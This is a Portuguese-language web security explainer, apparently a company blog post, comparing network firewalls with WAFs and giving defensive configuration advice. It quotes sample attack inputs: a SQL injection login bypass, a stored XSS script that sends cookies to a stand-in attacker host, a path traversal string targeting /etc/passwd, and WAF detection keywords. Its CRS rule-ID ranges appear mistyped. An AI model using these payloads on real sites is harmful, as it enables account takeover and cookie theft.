A internet e um ambiente hostil. Segundos depois de colocar um site no ar, ele ja esta sendo escaneado por bots procurando vulnerabilidades. Neste artigo, vamos explorar as duas principais camadas de defesa: Firewall de rede e WAF (Web Application Firewall). Entender a diferenca entre eles e como implementar cada um e essencial para manter seu site seguro.

Firewall vs WAF: qual a diferenca?

Embora ambos sejam chamados de "firewall", eles atuam em camadas diferentes do modelo OSI e protegem contra tipos de ataque distintos.

Firewall de Rede (Network Firewall)

Um firewall de rede opera nas camadas 3 e 4 do modelo OSI (Rede e Transporte). Ele controla o trafego com base em enderecos IP, portas e protocolos (TCP, UDP, ICMP). Regras tipicas incluem "bloquear todo trafego na porta 22 exceto do IP 192.168.1.100" ou "permitir apenas conexoes HTTP/HTTPS (portas 80 e 443)".

O firewall de rede nao inspeciona o conteudo dos pacotes — ele apenas olha os headers dos pacotes e decide se deixa passar ou bloqueia. Exemplos: iptables (Linux), pf (BSD), firewalld, firewalls de hardware como Cisco ASA e Fortinet.

WAF — Web Application Firewall

Um WAF opera na camada 7 do modelo OSI (Aplicacao). Ele entende o protocolo HTTP e inspeciona o conteudo das requisicoes — URLs, headers, corpo de formularios, cookies, parametros de query string. O WAF usa um conjunto de regras (rulesets) para identificar e bloquear trafego malicioso especifico de aplicacoes web.

Enquanto um firewall de rede protege contra ataques de rede (port scanning, SYN flood, IP spoofing), o WAF protege contra ataques de aplicacao (SQL Injection, XSS, CSRF, path traversal).

Importante: Mais de 70% dos ataques a sites sao automaticos (bots). Um WAF bem configurado bloqueia a maioria desses ataques sem intervencao manual.

Principais ameacas que um WAF combate

SQL Injection

O ataque SQL Injection explora campos de entrada que sao concatenados diretamente em queries SQL sem sanitizacao. Um atacante insere comandos SQL maliciosos em campos de formulario, URLs ou cookies.

Exemplo classico: Em um formulario de login que executa SELECT * FROM usuarios WHERE email = '<input>' AND senha = '<input>', o atacante pode digitar no campo de email: ' OR 1=1 --. A query se torna SELECT * FROM usuarios WHERE email = '' OR 1=1 --' AND senha = '', retornando todos os usuarios e concedendo acesso sem senha.

Um WAF detecta SQL Injection procurando padroes como OR 1=1, UNION SELECT, DROP TABLE, xp_cmdshell e outros keywords SQL em parametros de requisicao. O OWASP ModSecurity Core Rule Set (CRS) inclui centenas de regras especificas para SQL Injection.

XSS — Cross-Site Scripting

XSS ocorre quando um atacante consegue injetar scripts maliciosos em paginas web visualizadas por outros usuarios. Existem tres tipos principais:

  • Stored (Persistente): O script malicioso e armazenado no servidor (banco de dados, comentarios, forum). Todo usuario que visualizar a pagina infectada executara o script. Exemplo: um comentario em um blog contendo <script>document.location='http://atacante.com/roubar?cookie='+document.cookie</script>.
  • Reflected (Refletido): O script faz parte da URL ou de um parametro de formulario e e refletido imediatamente na resposta. O atacante envia um link malicioso para a vitima; se ela clicar, o script executa no navegador dela.
  • DOM-based: O ataque ocorre inteiramente no lado do cliente, manipulando o DOM da pagina via JavaScript. Nenhum dado e enviado ao servidor, tornando mais dificil de detectar.

O WAF bloqueia XSS procurando tags <script>, manipuladores de evento (onload, onerror, onclick), URLs com javascript: e outros padroes de injecao de script.

CSRF — Cross-Site Request Forgery

CSRF explora a confianca que um site tem no navegador do usuario. O atacante induz a vitima a executar uma acao indesejada em um site onde ela esta autenticada. Por exemplo, um link ou imagem em um email que faz uma requisicao POST para transferir dinheiro de uma conta bancaria.

A protecao contra CSRF geralmente usa tokens unicos (CSRF tokens) embutidos em formularios e validados pelo servidor. O WAF pode ajudar bloqueando requisicoes suspeitas, mas a defesa principal deve ser no codigo da aplicacao.

DDoS — Distributed Denial of Service

Um ataque DDoS sobrecarrega o servidor com um volume massivo de requisicoes, tornando o site inacessivel para usuarios legitimos. Os tipos comuns incluem:

  • Volumetrico: Inunda o link de rede com trafego (amplificacao NTP/DNS, UDP flood).
  • Protocolo: Explora fraquezas no protocolo TCP/IP (SYN flood, Ping of Death).
  • Camada de Aplicacao: Envia requisicoes HTTP aparentemente legitimas mas em grande volume (HTTP flood, Slowloris).

WAFs como Cloudflare e AWS WAF oferecem protecao DDoS integrada com rate limiting, challenge pages (CAPTCHA, JS challenge) e blacklisting de IPs.

Brute Force e Credential Stuffing

Ataques de forca bruta tentam adivinhar senhas testando milhares de combinacoes. Credential stuffing usa listas de senhas vazadas de outros sites (vazamentos de dados) para tentar acessar contas em novos alvos. O WAF pode bloquear esses ataques com rate limiting por IP, bloqueio apos N tentativas falhas e CAPTCHA.

Path Traversal (Directory Traversal)

O atacante usa sequencias como ../../../etc/passwd para navegar fora do diretorio raiz do servidor web e acessar arquivos sensiveis do sistema. Um WAF bloqueia essas tentativas detectando padroes de path traversal na URL.

Como um WAF funciona na pratica

O WAF se posiciona entre o cliente e o servidor web, inspecionando todo o trafego HTTP. Existem tres modos de implantacao:

  • Reverse Proxy: O WAF atua como intermediario. Todo o trafego passa por ele antes de chegar ao servidor. E o modelo mais comum, usado por Cloudflare, AWS WAF e Azure WAF.
  • Inline (Bridge): O WAF e instalado diretamente no caminho da rede, como um appliance fisico ou virtual.
  • Out-of-Band (Mirror): O trafego e copiado (espelhado) para o WAF para analise, sem bloquear em tempo real. Usado principalmente para monitoramento e logging.

OWASP ModSecurity Core Rule Set (CRS)

O ModSecurity e um WAF open source mantido pela OWASP, e seu Core Rule Set e o conjunto de regras mais utilizado no mundo. O CRS inclui regras para:

  • 92000-92099: Controle de requisicao (limites de tamanho, encoding, headers)
  • 92100-92199: Protecao contra protocol attack (HTTP smuggling, split)
  • 93100-93199: Protecao contra LFI/RFI (Local/Remote File Inclusion)
  • 93200-93299: Protecao contra RCE (Remote Code Execution)
  • 93300-93399: Protecao contra PHP Injection
  • 93400-93499: Protecao contra Node.js Injection
  • 94100-94199: Protecao contra XSS
  • 94200-94299: Protecao contra SQL Injection
  • 94300-94399: Protecao contra Session Fixation

WAF solutions populares

  • Cloudflare WAF: Oferece protecao DDoS, regras gerenciadas (OWASP CRS), rate limiting, IP access rules, e challenge (CAPTCHA, JS challenge, Managed Challenge). Inclui WAF gratuito com regras basicas e versao paga com regras customizadas.
  • AWS WAF: Integrado com CloudFront, ALB e API Gateway. Oferece regras gerenciadas da AWS, Marketplace e OWASP CRS. Paga por regra e por requisicao.
  • ModSecurity: Open source, roda como modulo do Apache, Nginx e IIS. Configuracao complexa, mas extremamente flexivel. Ideal para quem tem controle total sobre o servidor.
  • Sucuri: WAF baseado em cloud com foco em seguranca de sites WordPress. Oferece protecao DDoS, malware scanning e clean-up.
  • Imperva / Akamai: Solucoes enterprise com machine learning para deteccao de ameacas, protecao DDoS em escala e suporte 24/7.

Protecao DDoS: rate limiting e challenge

O rate limiting controla o numero de requisicoes que um unico IP pode fazer em um periodo de tempo. Por exemplo: "maximo 100 requisicoes por minuto por IP". Se o limite e excedido, o WAF pode:

  • Bloquear: Retornar HTTP 429 (Too Many Requests) e descartar a requisicao.
  • Challenge: Exibir um CAPTCHA ou JS challenge para verificar se e um humano.
  • Throttle: Desacelerar as requisicoes, processando-as em fila.

Dica: Configure o rate limiting com generosidade suficiente para nao bloquear usuarios legitimos, mas agressivo o bastante para parar bots. Um bom ponto de partida e 200 requisicoes/minuto para paginas normais e 10 requisicoes/minuto para paginas de login.

Como configurar WAF basico no Hostinger / Cloudflare

A maioria dos sites gerenciados pela CloudBird usa Cloudflare como CDN e WAF. Aqui estao as configuracoes recomendadas:

  1. Ativar proxy Cloudflare (laranja no DNS): Isso faz o trafego passar pelos servidores da Cloudflare, ativando o WAF e protecao DDoS.
  2. Security Level: Configurar como "Medium" ou "High" — isso aumenta o desafio para IPs suspeitos.
  3. Challenge Passage: Definir para 30 minutos — usuarios que passarem no challenge nao serao desafiados novamente por 30 min.
  4. Browser Integrity Check: Ativar — bloqueia requests com headers HTTP suspeitos (User-Agent ausente ou mal formatado).
  5. Rate Limiting: Criar regras para proteger areas sensiveis (/wp-login.php, /admin, /api).
  6. WAF Custom Rules: Bloquear paises (se o publico for apenas Brasil), bloquear IPs maliciosos, desbloquear IPs confiaveis.
  7. SSL/TLS: Configurar como "Full" (strict) para garantir criptografia de ponta a ponta.

Melhores praticas de seguranca para seu site

Nenhuma ferramenta substitui boas praticas de desenvolvimento e operacao. Aqui estao as recomendacoes essenciais:

  • Mantenha o software atualizado: CMS (WordPress, Joomla, Drupal), plugins, temas e bibliotecas devem estar sempre na versao mais recente. A maioria dos ataques explora vulnerabilidades conhecidas e ja corrigidas.
  • Senhas fortes e 2FA: Use senhas unicas e complexas para FTP, banco de dados, CMS e hospedagem. Ative autenticacao de dois fatores sempre que possivel.
  • Principio do menor privilegio: Cada usuario e sistema deve ter apenas as permissoes minimas necessarias para funcionar. Nao use usuario root para operacoes do dia a dia.
  • Backups regulares: Mantenha copias de seguranca dos arquivos e banco de dados com frequencia. Teste a restauracao periodicamente.
  • Monitoramento: Acompanhe logs de acesso, erros do servidor, e use ferramentas de monitoramento de uptime e seguranca.
  • HTTPS obrigatorio: SSL/TLS nao e opcional. Use HTTPS em todas as paginas, com HSTS ativado.
  • Headers de seguranca: Configure Content-Security-Policy (CSP), X-Frame-Options (previne clickjacking), X-Content-Type-Options (previne MIME sniffing), Referrer-Policy.

Como detectar se seu site foi comprometido

Mesmo com todas as protecoes, e importante saber reconhecer sinais de que algo esta errado:

  • Redirecionamentos inesperados: Usuarios sao redirecionados para sites de spam, farmacias online, ou paginas de phishing.
  • Paginas de spam: Paginas estranhas aparecem nos resultados de busca com conteudo que voce nao criou (geralmente medicamentos, aposta, pornografia).
  • Performance degradada: O servidor fica lento ou indisponivel porque esta sendo usado para enviar spam ou minerar criptomoedas.
  • Arquivos suspeitos: Arquivos estranhos aparecem no servidor, especialmente com extensoes .php, .cgi, .asp em diretorios onde nao deveriam estar.
  • Alertas do Google Search Console: O Google notifica quando detecta malware ou conteudo suspeito no seu site.

Ferramentas para verificar seguranca

  • Sucuri SiteCheck (sitecheck.sucuri.net): Escaneia o site em busca de malware, blacklists, spam e vulnerabilidades.
  • VirusTotal (virustotal.com): Verifica a URL contra mais de 70 engines de seguranca.
  • Google Safe Browsing (transparencyreport.google.com/safe-browsing): Verifica se o site esta na lista de sites perigosos do Google.
  • Security Headers (securityheaders.com): Avalia a configuracao dos headers de seguranca do seu servidor.

Lembre-se: Seguranca na web nao e um destino, e um processo continuo. Mantenha-se atualizado sobre novas vulnerabilidades, aplique patches rapidamente e monitore seu site regularmente. Um WAF e uma defesa poderosa, mas nao substitui codigo seguro e boas praticas de administracao.